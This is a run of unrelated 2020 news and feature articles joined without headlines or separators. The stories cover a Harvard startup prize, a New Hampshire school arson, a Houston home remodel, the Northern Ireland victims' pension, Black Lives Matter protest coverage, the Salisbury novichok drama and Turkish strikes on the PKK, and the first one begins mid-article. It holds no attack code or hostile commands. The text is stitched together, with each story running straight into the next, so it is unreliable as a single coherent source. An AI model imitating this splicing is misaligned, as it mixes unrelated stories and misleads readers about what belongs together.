The central focus of the I lab was and is in the sweet spot of youthful entrepreneurship and startups filled with potential dollar signs -- new financial instruments or high-end services for the wealthy, and IPOs with large numbers of digits in front of them. Startups gained enormous cachet among the young by mixing being cool with being lucrative. They used the word innovation rather than startup because of a fear that otherwise the initiative would be connected too closely to the Harvard Business School, contrary to President Fausts One Harvard push. (Government readers may recognize this as the environment that has made it so hard to recruit talent for public service.) The I lab offered a space where student would-be entrepreneurs could work on their ideas, as well as workshops and in-person consultation with I lab entrepreneur advisors.

At any rate, fairly early in the history of the I lab, it took a detour when in 2012 President Faust announced a Presidential Challenge on Social Entrepreneurship, to reflect a kinder, gentler face of the startup boom. This was to encourage student social enterprises, both non-profit and for profit. The initiative was housed in the I lab. Meanwhile, around the same time a number of deans established social innovation startups at their schools.

Then in 2017 the social entrepreneurship challenge morphed into the Presidents Innovation Challenge, still housed in the I lab, combining the 2012 social entrepreneurship initiative and the efforts going on at various individual Harvard schools.

With the Presidents Innovation Challenge, startups without the big dollar signs were granted a real place at the Harvard table. The program has five tracks; with each track's winner receiving $75,000 and a runner-up getting $25,000. (The Bertarelli Foundation funds the prizes.) This year there were about 350 applicants for prizes.

In the past, the public service track has been won by non-profit startups. The last two years prizes went to an app that helped people file for bankruptcy for free, and another to one that helped tenants complain to landlords or appeal an eviction.

This year, however, for the first time a program targeting government has won the prize in the social impact track. Indeed, there have only been two applications since the award started of student ventures, called Aegis and Neptune, in the civic tech space, both hoping to sell to the government. Ad Hoc, Nava, Skylight, Agile 6, Oddball, and Fearless, take note!

In his interview for the award, Kuang said that government was the most effective vehicle for social change that we have in the United States and that our work with Coding it Forward is helping our public institutions fulfill their potential to serve all Americans. The coronavirus and economic crises have laid bare the need for effective public institutions and services -- evidenced in part several states' inability to keep their unemployment portals up under heavy traffic -- and also revealed how technology is and will be an increasingly crucial lever for change.

A May awards ceremony was attended virtually by several thousand people, compared to a thousand at a formal event the previous year. The young executive director of the I lab, Matt Segneri, came dressed in business casual sweatpants.

Current Harvard President Larry Bacow (the first Harvard president to have graduated from the Kennedy School), stated: Since the pandemic began, Ive been asked one question over and over again by our students, our faculty, and our staff; by our alumni, and friends all over the world, How can I help? Its a question youve been asking since the Presidents Innovation Challenge kicked off this fall, and youve answered it in ways that continue to inspire and uplift me  This year is far different than any of us wanted it to be, but it has underscored the power of knowledge to save lives, to save communities, and lets face it, to save our future.

Having helped out Kuang over the years with Coding it Forward  together with my Harvard colleague and former Deputy Federal CTO Nick Sinai  I felt real personal pride at this latest success. But most importantly, Kuang represents the insight that government still has the ability to attract some young people trying to create a better world. That is good news for government but also, during these rough times, also good news for the country. Chris  and the students they have helped recruit -- keep on working to make a difference for society.
A man has been held without bail on a charge of setting fire to a New Hampshire middle school, and police believe he paddled a canoe from Maine with a propane tank and a bucket of flammable liquid, authorities said.

Christoph Berger, 24, was arraigned Tuesday, accused of arson, burglary, criminal mischief, aggravated driving while intoxicated, disobeying an officer, and other charges stemming from events in Portsmouth, Newington and Rye on May 22-23.

The Portsmouth Herald reports Bergers lawyer said Berger was struggling with mental health issues at the time. Not guilty pleas were entered for him. The judge found Berger to be a danger to himself and others and ordered his preventative detention until he can be transferred to a secure psychiatric facility.

Berger was arrested Monday and identified by Portsmouth police as the person who started a fire at the middle school, causing about $100,000 in damage. Berger is accused of smashing a front glass door, placing the propane tank inside, dousing it with a flammable liquid, and setting it on fire.

Police Chief Robert Merner said Berger is believed to have paddled a canoe from Kittery, Maine, with the items.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Law Enforcement Arson New Hampshire
The short street in West University Place was perfect for Reggie Beavan and his two young sons  a family-friendly neighborhood with plenty of kids and a just-right-sized house that would be cozy and comforting.

His 2,200-square-foot bungalow was built in 1934 and remodeled in 1990; somewhere along the way, it was expanded just a bit. About 30 years later, Beavan bought the home and launched a full cosmetic makeover that touched every room and gutted the kitchen and two bathrooms in just a few months.

I said, Heres the budget, make it happen, Beavan said of his interior designer, Courtnay Tartt Elias of Creative Tonic. I dont care what you do, just run certain things by me. It was probably a fun project for her because she had full creative license.

As a single dad with 6- and 8-year-old boys, he wanted the home to feel masculine, but the goal was a clean modern project when it was finished.

Elias had helped Beavan on a previous home, so he naturally turned to her for this one. It turned out that Elias had strong ties to this same street. The first home she owned was just three doors down from Beavans, and its where she and her husband, Mark Elias, had their three sons, who are now 25, 23 and 19.

When he approached me about this project, it was amazing because I drove to that street for 10 years. To have an opportunity to drive back there was really special, Courtnay Elias said.

Beavan calls the house perfect, a warm and inviting environment for his boys to grow up in. They share a bedroom with bunk beds and have their own bathroom, but upstairs is their real domain: a game room with plenty of play space and a niche for playing video games. The finishing touch: a chandelier that looks like a Jeep.

But the main part of the first floor is where all the living gets done, and Elias made it both sophisticated and masculine in a way that anyone could love.

Much of the homes walls had layers of paint, and rather than scrape them down, Elias opted to install shiplap, in sync with a 1930s-era home.

Just inside the front door, Elias created the feel of a foyer in what is actually the living room with a metal console table and a pair of stools underneath. A simple round mirror is an artful touch.

The rest of the room is filled with texture  a smart way to add visual interest. Seagrass shades pair well with the homes original wood floors that were refinished to look new.

A small sectional sofa was custom made, paired with two midcentury-style armchairs in a lush green fabric and decorative pillows in deep blues and greens. A rug with a geometric pattern and blue binding mix with organic elements in a coffee table and side tables: bamboo, brass, wood and stone.

This is where I spend most of my time when I decompress. I sit on the couch and read or watch TV, said Beavan, who is a vice chairman at a leading global commercial real-estate firm. This room had so many layers of paint that we needed to sand it. Quite frankly, using shiplap wasnt much difference in cost and brought a different vibe. Before this, I didnt even know what shiplap was. I had no clue.

She picked green chairs, too, which I never would have picked, but I get compliments on them all the time, Beavan said. I probably would have picked a leather recliner I could lay back in. My bad.

A sunroom on the front of the home was likely a porch that a previous owner enclosed. It still has a brick wall from the homes exterior, and to add style, Elias chose patterned tile for the floor. In work-from-home mode, this has become his office.

The dining room was transformed from a boring room with four plain walls to an interesting place that Beavan looks forward to using more. Here, a modern Saarinen Tulip Table is paired with more antiquelike chairs with weathered wood and deep-blue leather seats and backs.

Elias widened doorways so it feels less closed off, and she added green draperies on a wide window as well as over a doorway that leads to the hall to the bedrooms and looks straight into the guest bath. Since much of Beavans budget went to remodeling, Elias saved money on draperies by using less expensive linen fabric, sprucing it up with a beautiful tape trim.

When Beavan finally does have dinner guests, they wont be staring at a sink and toilet.

At the back of the dining room is a short passage that hides a washer and dryer, and Elias transformed the opposite side into a bar.

Inspired by a visit to the swanky La Reserve hotel in Paris, which uses deep-red hues on doors and as accents throughout, Elias opted to lacquer the bar in a deep burgundy  a color Beavan could barely describe but loves. The shiplap walls and open shelves were lacquered, too.

Many homes built or remodeled today have a bar and/or wine feature, and this space between the front and back of Beavans home is a central location for when he entertains. At other times, the bars counters are a great place to fold laundry, another practical element that Elias appreciated more than Beavan.

Eliass efforts in the kitchen worked to make this small-ish room feel and function as if it was much bigger. Its large enough to move around in but not large enough for an island and proper walkways all around.

They gutted the space, even removing a peninsula that separated the kitchen from the breakfast room. The original flooring was replaced with porcelain tile that looks like wood, laid herringbone style.

In keeping with the neutral palette, Elias found a gray ceramic tile and ran it from the counters all the way to the ceiling.

Just as Elias had the idea of a burgundy lacquered bar waiting for the right client, shed also spotted this tile at Arizona Tile and knew shed someday put it in someones kitchen. Though the kitchen is small and the tile is dark, its reflective quality gives the illusion of more space.

In many kitchens, seating at an island becomes a small familys de facto kitchen table, but when Elias convinced Beavan that an island wasnt right for this room, she showed him a better option: a morning room.

In some homes, it might also be called a breakfast room, but in this house its where the family eats and where the boys do homework. The same turquoise print fabric in the kitchen blinds is used here, too, complemented by bistro chairs in a turquoise-and-white woven pattern. A round white table sits under a contemporary round lantern chandelier.

The home doesnt have a mudroom, so the back door  at the rear of this morning room  became the site of a makeshift mudroom that Elias created with lockerlike cabinets that can be used for jackets, backpacks or anything else they need to store.

Beavan saved the master bedroom and bathroom for last, and by then he was at the end of his budget. But Elias made the most of it, investing in a good rug and draperies that pair panels in a solid deep-rust fabric with more in a print in the same color. A pair of mossy-green pillows in a chevron print bring in an earthy tone.

The same print was used to upholster a headboard and for skirting around its base.

The master bathroom is small, but Elias made it feel roomier by removing fur downs that detracted from the ceiling height.

The boys bathroom got a makeover, too, with blue-gray tile and paint, and floor tile in a mosaic geometric pattern. Sconces on each side of a mirror look like big clusters of soap bubbles, which reminded Elias of her own days living on this street with young boys.

Being back on (this street) and with the nostalgia I have for that neighborhood and that time in my life  I can honestly say that I dont think Ive had another project that I felt like I was doing for me, Elias said. I really poured my heart into every decision.

Even the sconces in that bathroom conjured an image of Elias two older boys, young and sweet and taking a bubble bath together.

Those bubble lights  I could see those boys making a giant mess like my boys. They are fun, too, and I wanted to fun and have something that makes them smile, she said.

diane.cowen@chron.com

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First Minister Arlene Foster has said it is "grotesque" that Sinn Fein is blocking the victims' pension to "accommodate the people who made them victims in the first place".

The DUP leader, speaking on Radio Ulster's Good Morning Ulster, expressed her anger that the scheme, which is to provide a pension to victims of the Troubles in Northern Ireland, has not been implemented.

"I think it is absolutely wrong that the scheme has not gone ahead," she said.

"I find it go grotesque that we had a scheme set up in October by the government at Westminster and we have not been able to get it implemented.

"As first minister, I think that is absolutely wrong and shameful."

Sinn Fein has refused to nominate a department to handle the scheme, arguing that legislation passed in Westminster discriminates as anyone with a conviction with a jail term more than two-and-a-half years would be excluded irrespective of if they were involved in the Troubles or not.

Sinn Fein MLA Gerry Kelly said the regulations are "discriminatory and unacceptable".

The DUP says the regulations only exclude those injured by something they did, such as a bomber injured while setting a device.

Mrs Foster added: "The definition of a victim that was set out in the Bloomfield Report, which I think Gerry Kelly is referring to, has always caused difficulties. It is not a legal definition and of course the Westminster government is entirely within their right to set the limits of any scheme that they set up."

Mrs Foster said the next stage is to designate the Department of Justice to manage the scheme, but that she needs agreement from Deputy First Minister Michelle O'Neill.

"It is wrong, absolutely wrong, that we should not be implementing this victims' pension because what we are essentially saying is that everybody has been held up to accommodate those people who made them victims in the first place. I think that is grotesque," Mrs Foster said.

Expand Close Sinn Feins Gerry Kelly / Facebook

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The first minister added that she is working with the UK Government and Northern Ireland Secretary of State Brandon Lewis to solve a dispute over who will fund the scheme but that first a department must be designated to handle the scheme in Northern Ireland.

"Sinn Fein need to acknowledge that the law is there and they have a legal obligation and I hope they come to a position where they designate the Department of Justice to take this matter forward," she added.

Sinn Fein has been approached for comment.

Mr Kelly told the BBC his party has concerns over the funding for the scheme with estimates of 100m in the first three years.

"It is the British Government who have brought in these regulations, without consultation, to be discriminatory, and all they are interested in is to protect one section of victims," he said.

"The regulations are discriminatory and unacceptable.

"The issue was around perhaps a small amount of people. But what they have done quite deliberately is expand that out for anyone - and it does not have to be conflict related - for anyone who with a sentence of two-and-a-half years or more will not be eligible."
India: Update on SpaceX Dragon story A story in the Ahmedabad Mirror newspaper adds clarity to the report by the ANI News Agency about Adhir Saiyadh VU2MAU and the SpaceX Dragon astronauts



The Mirror says Adhir Saiyadh participated in a NASA TV media event, "Saiyadh got connected around the time the astronauts were giving an interactive tour of the cockpit"



He is quoted as saying "They responded to a random call from someone in India and so I felt they were talking to me from space and I too was part of the history they made"



When talking to a Mirror journalist after the event it looks like Adhir was able to give a description of his hobby amateur radio.



The story notes "Ham radio is a hobby for many like Saiyadh and is considered to be one of the most reliable communication mediums. It works when all other means of communication fail and has been proven to be useful during natural disasters"



The ANI News Agency story could give the impression that amateur radio was used to connect to the Dragon astronauts, it seems from the Mirror story that was not the case.



Many news outlets in India have now picked up on the story and hopefully it will make many more people aware that Amateur Radio exists and may lead some to find out more about the hobby.



Read the Ahmedabad Mirror story at

https://ahmedabadmirror.

indiatimes.com/ahmedabad/others/amdavadi-gets-in-touch-with-spacex-crew-dragon-men/articleshow/76163095.cms



A video of the event can be seen at

https://economictimes.

indiatimes.com/news/science/ham-radio-enthusiast-from-ahmedabad-gets-in-touch-with-spacex-crew-dragons-astronauts/articleshow/76180608.cms



The ANI News Agency story can be seen at

https://aninews.in/news/national/general-news/ham-radio-enthusiast-from-ahmedabad-gets-in-touch-with-spacex-crew-dragons-astronauts20200603163841/
Amid the protests against the killing of George Floyd, US President Donald Trump slammed presumptive Democratic presidential candidate Joe Biden over the 1994 Crime Bill. Taking to Twitter, Trump called the bill a 'total disaster' and said that "Biden can never escape his Crime Bill." Slamming former US President Barack Obama and Biden, Trump said that he did the Criminal Justice Reform, something which they didn't try to do and cannot even do it.

The 1994 crime bill was originally written by Joe Biden and was then passed by the Congress and signed into law by President Bill Clinton. The bill is said to be the largest in the history of the US, consisting of 356 pages. It provided $9.7 billion in funding for prisons and $6.1 billion in funding for prevention programs that were designed with inputs from experienced police officers.

Sleepy Joe Bidens 1994 Crime Bill was a total disaster. It was mass incarceration for Black people, many of them innocent. I did Criminal Justice Reform, something Obama & Biden didnt even try to do - & couldnt do even if they did try. Biden can never escape his Crime Bill!  Donald J. Trump (@realDonaldTrump) June 5, 2020

Read: Biden sharpens attack on Trump for using teargas on protestors, all for a 'photo op'

Biden attacks Trump over photo op

After US President Donald Trump visited Saint John's Church last Tuesday, Joe Biden sharpened his attack on Trump. In a speech in Philadephia, Biden spoke against the racism and slammed Trump for allowing the military to tear gas protestors who were outside the White House as Trump walked to Saint John's church, alleging that Trump teargassed the protestors merely for a photo op.

Read: Google claims Chinese, Iranian hackers targeted Trump and Biden's presidential campaigns

George Floyd's death

George Floyd, a 46-year-old African American man, died in Minneapolis earlier last week. As per reports, Floyd was arrested by the local police for unspecified charges on May 26. A tussle is said to have broken out between George Floyd and the police officials, which resulted in Floyds death after being subdued for several minutes by an officer. In a video that went viral on the internet, the officer was seen pressing his knee against Floyd's neck who was seen gasping for air before turning motionless.

George Floyd's death has triggered mass unrest in various parts of the US. Police officer Derek Chauvin and three other officers - Thomas Lane, Tou Thao, and J Alexander Kueng - were later fired by the Minneapolis Police Department. Chauvin has been charged with second-degree murder.

Read: George Floyd Memorial: Mike Pence offers 'sympathies and prayers', calls it a 'tragedy'

Read: 'Using American military against Americans': Joe Biden slams Trump over walk to St John's
Kourtney Kardashian is taking the time to speak to her children about white privilege amid the global Black Lives Matter protests sparked by the death of George Floyd at the hands of white policemen in Minneapolis last month.

The 41-year-old reality star wrote a lengthy post on Instagram as she discussed her responsibility to ensure her three children are educated and feel comfortable to talk about racial issues.

'As a mother, there is a natural instinct to protect my children from anything that might make them feel sad or unsafe. The pain and suffering inflicted by racism is not a thing of the past and I bare the responsibility to speak with my kids honestly and often about it, even when the truth is uncomfortable.' Kourtney wrote alongside a photo of her with eldest son Mason, 10.

Kourtney Kardashian is opening up about how she plans to educate her children on white privilege amid the black lives matter discussion

Kourtney, who has Mason, 10, Penelope, seven, and Reign, five, with her ex-partner Scott Disick, continued, 'I have to make sure they understand what it means to have white privilege and to take the time to learn and discuss Black History, beyond just one short month out of the year.

'I encourage other mothers to join me in using this as a learning lesson for our children, to allow our children to feel comfortable enough to come talk to us about anything.

'Allow conversation without judgement, and learn from our children too. We dont know it all. My children sometimes ask questions that I may not know the answers to, so we explore them together.

Kourtney posted the lengthy message on Instagram next to a photo of her with eldest son Mason, 10

'We don't know it all': Kourtney said she encourages other mothers to use this as a learning lesson for children

'Ive felt like Ive always been on the right side of this, but I have a lot to learn and want to educate myself even more, so that I can be a better mother, a better auntie to my nieces and nephews, a better friend, and a better person.'

Kourtney encouraged her Instagram followers to check out her full post on her website poosh.com.

Meanwhile, Kourtney has been flirting with 'best friend' Scott as they remain close following their 2015 split.

'Allow conversation without judgement, and learn from our children too. We dont know it all. My children sometimes ask questions that I may not know the answers to, so we explore them together.' Kourtney said. She is pictured with daughter Penelope, seven

Hands on mom: Kourtney has Mason, 10, Penelope, seven, and Reign, five, with her ex-partner Scott Disick

Kourtney said, 'I have to make sure they understand what it means to have white privilege and to take the time to learn and discuss Black History, beyond just one short month out of the year.' She is pictured with sisters Kim, Khloe and mom Kris Jenner

The Keeping Up with the Kardashians stars dated on and off between 2006 and 2015, but despite calling time on their romance, they have remained close for the sake of their three children.

Last week, the former couple spent time in Utah with their brood to celebrate Scotts 37th birthday, and sources say the pair had 'so much fun'.

An insider explained: 'Kourtney and Scott had so much fun with the kids in Utah, and the kids want them to do family trips all together more often. Scott is so happy that he and Kourtney get along so well and how easy it is with her.

Meanwhile, Kourtney has been flirting with 'best friend' Scott as they remain close following their 2015 split

'Its weird to everyone else, but not to them. They are really like best friends.'

The source also claimed Scott - who recently broke up with his partner Sofia Richie - has been 'flirting' with Kourtney, although the beauty is 'not open to him in a romantic sense'.

They added to Us Weekly magazine: 'Kourtney is not open to him in a romantic sense, but Scott is always flirting with her and thinks she looks better than ever. The family also loves him and hes like another son to Kris [Jenner].'
Nobel laureate, Wole Soyinka, has called for those responsible for alleged lopsided appointments in President Muhammadu Buharis governm...

Nobel laureate, Wole Soyinka, has called for those responsible for alleged lopsided appointments in President Muhammadu Buharis government to be punished.





Soyinka made the demand during an interview on PlusTv Africa on Thursday.





The renowned writer, reacting to an open letter written by retired colonel Umar Dangiwa, over skewed appointments in Buharis regime, said: Umar hit the nail hard and got to the point factually without self-interest. I was appalled when I saw the letter and I said to myself why should I be surprised that such atrocities have been going on.





This kind of revelation (by Col. Umar) is earth-shaking and really nation disintegrating. It requires two things: One is outright denial with proof that it is false. Two, literally, a restructuring of that sector completely. Something like (to) send everybody there on temporary leave and revamp.

People come to me with all kinds of documented evidence of this greed and insult to the nation.





I was appalled by the silence that followed this revelation. Many of us feel inhibited. We dont want to make statements that might seem inflammatory. And yet this kind of reticence encourages a sense of impunity.





I think those responsible for this criminal lop-sidedness should be punished. It is not sufficient to discuss it and to say you are restructuring. It is criminal at this level. It requires an upheaval in that sector.
Intel Corp., Apple and Amgen are among more than a dozen companies supporting Harvard University in a fierce legal battle that could shape the use of race in college admissions for decades to come.

The nation's oldest university is fighting a challenge by Edward Blum, a staunch foe of affirmative action who seeks to stop it from weighing race in student selection altogether. Having lost last year, he appealed in February and, if defeated again, is almost certain to seek a review by the newly conservative Supreme Court.

The stakes for business are laid out in a brief the companies have filed with the U.S. Court of Appeals in Boston. While they took no position on Harvard's specific policy, they said they depend on diverse college student bodies in their hunt for "the next superb employee." They cited a landmark 2003 decision by the high court that universities can use affirmative action to assemble a varied class if they treat race as one factor among many -- the centerpiece of Harvard's lower-court victory.

"As the Supreme Court recognized nearly twenty years ago, 'the skills needed in today's increasingly global marketplace can only be developed through exposure to widely diverse people,'" the companies wrote in a "friend of the court" brief, quoting the decision. They said that "in the absence of workable race-neutral alternatives," affirmative action was still the right means to that end.

The brief, filed on May 21, was the latest in a series of arguments posed to the court after U.S. District Judge Allison Burroughs rejected a lawsuit filed by Blum's group, Students for Fair Admissions. It comes as the U.S. is embroiled in its most contentious struggle over race since the nationwide explosion of protests and riots following the assassination of Martin Luther King Jr. in 1968.

Silicon Valley's diversity record is poor. Yet companies with the most ethnically and culturally varied boards were 43% likelier to post higher profits than similar companies with less representative boards, according to a 2018 McKinsey & Co. study the companies invoked in their brief. To succeed, they wrote, they "must be poised to understand and appeal to" all parts of the population "or be rendered irrelevant."

Intel was one of the first big corporations to make a stand on diversity, publishing numbers on the makeup of its workforce, tying manager pay to hiring efforts and being openly self-critical. In January 2015 it announced a Diversity in Technology program to achieve full representation of minorities in its U.S. workforce by 2020 and beat that goal by two years, according to the brief. As of September, Intel said, its venture capital arm had invested $381 million in tech companies led by women and minorities as part of an initiative begun in June 2015.

Blum, a persistent and vigorous opponent of race-conscious admissions, has led multiple legal challenges to affirmative action, including at the Supreme Court. The high court has upheld race-conscious admissions for decades but, with President Donald Trump's appointments, now has a conservative majority and may look less favorably on the practice in a new review.

Blum said in an email that the companies that wrote the brief -- which also include Microsoft, Twitter and Gilead Sciences, maker of the Covid-19 drug remdesivir -- just don't get it.

"Nearly 75% of U.S. citizens of all races oppose the use of race and ethnicity as a factor in college admissions," he wrote, citing a Pew Research Center poll. "It's bewildering to witness, yet again, how out-of-step these companies are with the vast majority of Americans."

The Trump administration joined the battle in August 2018, when it claimed in a filing that Harvard's admissions process was "infected with racial bias" and that public funds, which the college draws, shouldn't be used to "finance the evil of private prejudice."

The suit, filed in 2014, argued the school was breaking the law by engaging in "racial balancing." Blum's group said Harvard favored African American and Latino applicants and artificially limited the number of Asian Americans it admitted.

In a twist on the epic affirmative action battles of the past, Students for Fair Admissions also said Harvard favored white applicants, and the trial exposed embarrassing details of how far it will go to accommodate the relatives of the biggest donors.

In the end, Burroughs upheld Harvard's argument that to create a varied student body of future leaders, the school needed to consider race as one of many factors beyond grades and test scores. The judge concluded that the Supreme Court allows schools to craft "a reasoned and principled articulation of concrete and precise goals for its race-conscious admissions program." If the practice were abandoned, she said, racial diversity at Harvard would probably decline "precipitously."

In its appeal, Students for Fair Admissions says Burroughs erred in her reading of past court decisions, allowing "race to be used in this heavy-handed, limitless way."

To the companies in the brief, it's simple.

"Talent is everywhere," they wrote. "It is not located exclusively in any one particular corner of humanity."
Scott Morrison has urged protesters not to attend Black Lives Matter demonstrations this weekend.

Thousands of aboriginal rights activists are due to attend rallies in Sydney, Melbourne and Brisbane on Saturday despite health officials warning they could cause COVID-19 outbreaks.

The Prime Minister today said he respected the right to protest but urged people 'find another way' to express their voices that would not endanger public health.

He said gathering in large groups was disrespectful to Australia's war veterans who did not commemorate ANZAC Day this year due to restrictions.

The Prime Minister (pictured today) said he respected the right to protest but urged people 'find another way' to express their voices that would not endanger public health

Scott Morrison has urged protesters not to attend Black Lives Matter demonstrations this weekend. Pictured: A protest in Sydney on Tuesday

In a press conference in Canberra, Mr Morrison said: 'We all found a way on Anzac Day to thank those who gave us our liberty and not gather in large numbers.

'And we stood on the end of our driveways and we held up a light on that dawn in our windows or our balconies and we found a way to celebrate those who gave us our liberty.

'Let's not misuse that liberty. Let's respect it. Let's respect other Australians.

'And let's thank those who had the absolute agony of not being able to say goodbye to a loved one, by showing responsibility this weekend.'

Mr Morrison also pointed out that aboriginal people were most at threat from the protests because they are more vulnerable to coronavirus.

'The health advice is very clear, that it's not a good idea to go,' he said,

Mr Morrison said gathering in large groups was disrespectful to Australia's war veterans who did not commemorate ANZAC Day this year. Pictured: The Dawn Service in Canberra

Victorian Premier Daniel Andrews has told protesters in his state to stay at home to protect public health.

Queensland leader Annastacia Palaszczuk has remained silent and and NSW Premier Gladys Berejiklian is under fire after giving protesters the green light.

Former Prime Minister Tony Abbott said: 'You can't go to the footy. why on earth should 10,000 people be allowed to make merry at the Town Hall steps?'

On Friday morning, Victoria's Chief Health Officer Brett Sutton said the country's successful battle against the virus could be undone by protesters.

'There is a risk that all of the gains that we have made are put at risk by people gathering in large numbers,' he said.

Black rights protests have sprung up around the western world in response to American demonstrations following the death of a black security guard named George Floyd in police custody in Minneapolis.
The Salisbury poisonings are one of the most chilling events of recent times  an act of terrorism on British soil that had devastating consequences for those in its immediate path and made headlines around the world.

Two years ago, an innocuous looking perfume bottle was deployed as a weapon in the Wiltshire city.

Inside it was the deadly nerve agent novichok  enough to potentially kill thousands of people.

It was targeted at former Russian military intelligence officer and double agent Sergei Skripal.

Rafe Spall and Anne-Marie Duff as DS Nick Bailey and Tracy Daszkiewicz in The Salisbury Poisonings

Yet while he and his daughter Yulia  who was visiting him at the time of the attack ultimately survived, it left one woman dead and others grievously ill.

Local woman Dawn Sturgess was given the perfume bottle by her partner Charlie Rowley at his flat in nearby Amesbury after he found it discarded in a bin in Salisbury.

She rubbed the liquid inside on her wrists, sealing her fate. Charlie also became critically ill, as did Detective Sergeant Nick Bailey, who had searched Sergei Skripals house.

The events sound like a spy thriller plot but now they and their aftermath have been brought to life in a sensitive three-part BBC drama, The Salisbury Poisonings, that focuses on what one of its stars, Anne-Marie Duff, calls the human side of the unfolding crisis.

We knew we werent making Spooks, she says. It wasnt, Cut to 10 Downing Street.

'Its about the people on the ground who were having to deal with what was happening and get it solved before there were any more fatalities.

Former Russian double agent Sergei Skripal, 66, and his daughter Yulia, 33, were found unconscious on a park bench in Salisbury

Its a sentiment echoed by MyAnna Buring, who plays Dawn Sturgess. Weve all seen Bond and read about the KGB, but its important not to forget that at the heart of these events are real human beings.

When the drama was announced last year some critics suggested it was too soon to put the story on screen.

But Anne-Marie says, Theres something to be said for telling stories soon after an event.

'I remember that when the film United 93 came out five years after 9/11, I thought it was too soon.

'But a friend said to me it was exactly the right time because when we have these conversations you should be uncomfortable, thats the point.

MyAnna agrees. I think for a lot of people involved, they probably feel theyd rather this story wasnt being told now because its too raw.

'But if it was going to be told they felt they wanted to be involved. So that was incredibly brave of them all.

MyAnna Buring as Dawn Sturgess (centre). For MyAnna, meeting Dawn Sturgesss grief-stricken parents, sister Claire and daughter Gracie was crucial because she knew very little about Dawn beyond the initial headlines

Anne-Marie plays Tracy Daszkiewicz, the Director of Public Health for Wiltshire, who played a vital role in protecting the public as the emergency unfolded.

Shes a real compass point of the story, an amazing civil servant, says Anne-Marie.

No ones trained for a novichok attack, are they? Suddenly she found herself catapulted into a leading role and responding while everyone is trying to work out what it is and what it can do.

HOW THE DRAMA UNFOLDED Dawn Sturgess (pictured) and Charlie Rowley fall ill in Amesbury, near Salisbury, and are taken to hospital 4 March 2018 Former Russian double agent Sergei Skripal, 66, and his daughter Yulia, 33, (above) are found unconscious on a park bench in Salisbury. 7 March Police say a nerve agent was used to poison the pair. 8 March DS Nick Bailey is named as the officer whos ill in hospital after visiting Skripals house. 22 March Bailey is discharged from hospital but says life will probably never be the same. 10 April Yulia Skripal is discharged. Police reveal the novichok that poisoned them was from a bottle (above) found in Rowleys home 18 May Sergei Skripal is discharged after more than two months. 30 June Dawn Sturgess and Charlie Rowley fall ill in Amesbury, near Salisbury, and are taken to hospital. 8 July Dawn Sturgess dies. 13 July Police reveal the novichok that poisoned them was from a bottle (above right) found in Rowleys home. 20 July Charlie Rowley leaves hospital, and says, I feel lucky I survived. Advertisement

'Its that kind of ordinary heroism, that sense of her rising to the challenge and how she deals with that emotionally when she has to go home to her husband and her son.

Rafe Spall, who plays DS Nick Bailey, acknowledges it was the human elements of the story that drew him to the show.

Ive played a few policemen and they can be portrayed as glamorous, but theyre just people doing a job, he says.

Thats what I wanted to get across, that he was an ordinary person in extraordinary circumstances.

Wearing a protective suit, Bailey searched Sergei Skripals house a few hours after he and Yulia collapsed in Salisbury city centre.

A little later he began to feel unwell and, having first returned to his own house, was then hospitalised.

While in there his home was emptied and all the possessions destroyed to avoid any further contamination  a huge price to pay for just doing your job.

For people like Nick who become policemen its a vocation, says Rafe, who met Nick before filming.

Hed never see himself as a hero, but he is a hero because hes protecting people. Its all very fresh, and he and his wife are still dealing with it.

'Its an event thats had massive ramifications for his career and life. They had some trepidation about their story being told  theyre private people  and were quite wary. But they couldnt have been nicer.

For MyAnna, meeting Dawn Sturgesss grief-stricken parents, sister Claire and daughter Gracie was crucial because she knew very little about Dawn beyond the initial headlines.

She was dismissed as being this homeless drug addict, but she was not that. She was a human being who had issues that a lot of people in this country face.

'She came from an incredibly warm, loving family; but, yes, she was struggling with demons. Dawns family must still be reeling. Can you imagine losing your eldest daughter in such a horrific way and having no clear answers?

It was incredibly emotional thinking about that, and what she was going through in her life.

'She was dealing with alcohol addiction, mental health issues, she was down on her luck and struggling with finances. Weve all known someone like that.

At the heart of MyAnnas storyline is Dawns relationship with Charlie Rowley (played by Johnny Harris).

What a horrific thing for him to go through, she says. If I found a perfume bottle Id want to give it to a loved one, and then what happened must have been horrific for him.

'What a difficult thing to go through psychologically and emotionally. Hes an incredible human being who was on set with us and really open and willing to talk.

Also on set was Tracy Daszkiewicz, who Anne-Marie had met prior to filming.

Because wed had some time together before filming I thought it would be fine, but then when she turned up I was completely terrified, she laughs.

I felt really self-conscious. She was still in the same job, so I didnt want to end up doing some kind of weird impersonation  you try to get a sense of someone, the spirit of someone.

A police officer finds Sergei Skripal seriously unwell in the drama which airs on 14, 15 and 16 June, 9pm, BBC1

Anne-Marie also admits to being nervous about how the series will be received, that it could divide opinion.

Theres always that with anything based on real events, she says. You can watch something and think, Thats an extraordinary portrayal of these events, and somebody else will say, But it didnt say this, it didnt cover that.

Either way, MyAnna feels its important the series is shown. This country should not forget what happened, she says.

Its so easy for a huge event like this to make headlines and then just disappear. It shouldnt, because there hasnt been any resolution and we should understand why it happened.

The Salisbury Poisonings, 14, 15 and 16 June, 9pm, BBC1.
Source: Xinhua| 2020-06-05 18:52:36|Editor: huaxia

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ANKARA, June 5 (Xinhua) -- Turkish army killed six members of the outlawed Kurdistan Workers' Party (PKK) in Turkey and northern Iraq, the Turkish defense ministry and interior ministry said on Friday in two separate statements.

"Our operations against the terrorist organization PKK continue resolutely. Four PKK terrorists were neutralized by airstrikes by means of reconnaissance and surveillance in Haftanin, Avasin and Zap regions in the north of Iraq," the ministry tweeted.

In another statement, the Turkish interior ministry said its security forces "neutralized" two terrorists in southeastern Turkey.

The local gendarmerie commandos and special forces in the Mardin province launched operations in the rural areas of Omerli district, said the ministry in a written statement.

Turkey has long been conducting operations against the PKK in southeastern Turkey and in northern Iraq where the group has hideouts. These operations are intensified in the past few months. PKK members often use northern Iraq to launch cross-border attacks in Turkey.

The PKK, listed as a terrorist organization by Turkey, the United States, and the European Union, has been rebelling against the Turkish government for over 30 years, which has claimed the lives of more than 40,000 people. Enditem
L.A. County Supervisor Mark Ridley Thomas, foreground left, and Gov. Gavin Newsom tour businesses in Los Angeles' Leimert Park neighborhood on Wednesday. (Genaro Molina / Los Angeles Times)

Hundreds of people on bicycles are expected to roll through Leimert Park on Saturday at noon for a justice ride honoring George Floyd  but dont think about calling it a protest.

Ive been avoiding the word protest, just because the stigma around the city has been definitely a bad look, with the looting and things like that, said GAngelo Edmondson, 42, one of the ride's organizers. It definitely is not that vibe. It definitely is about peace and solidarity, and just wanting all voices to be heard in our community.

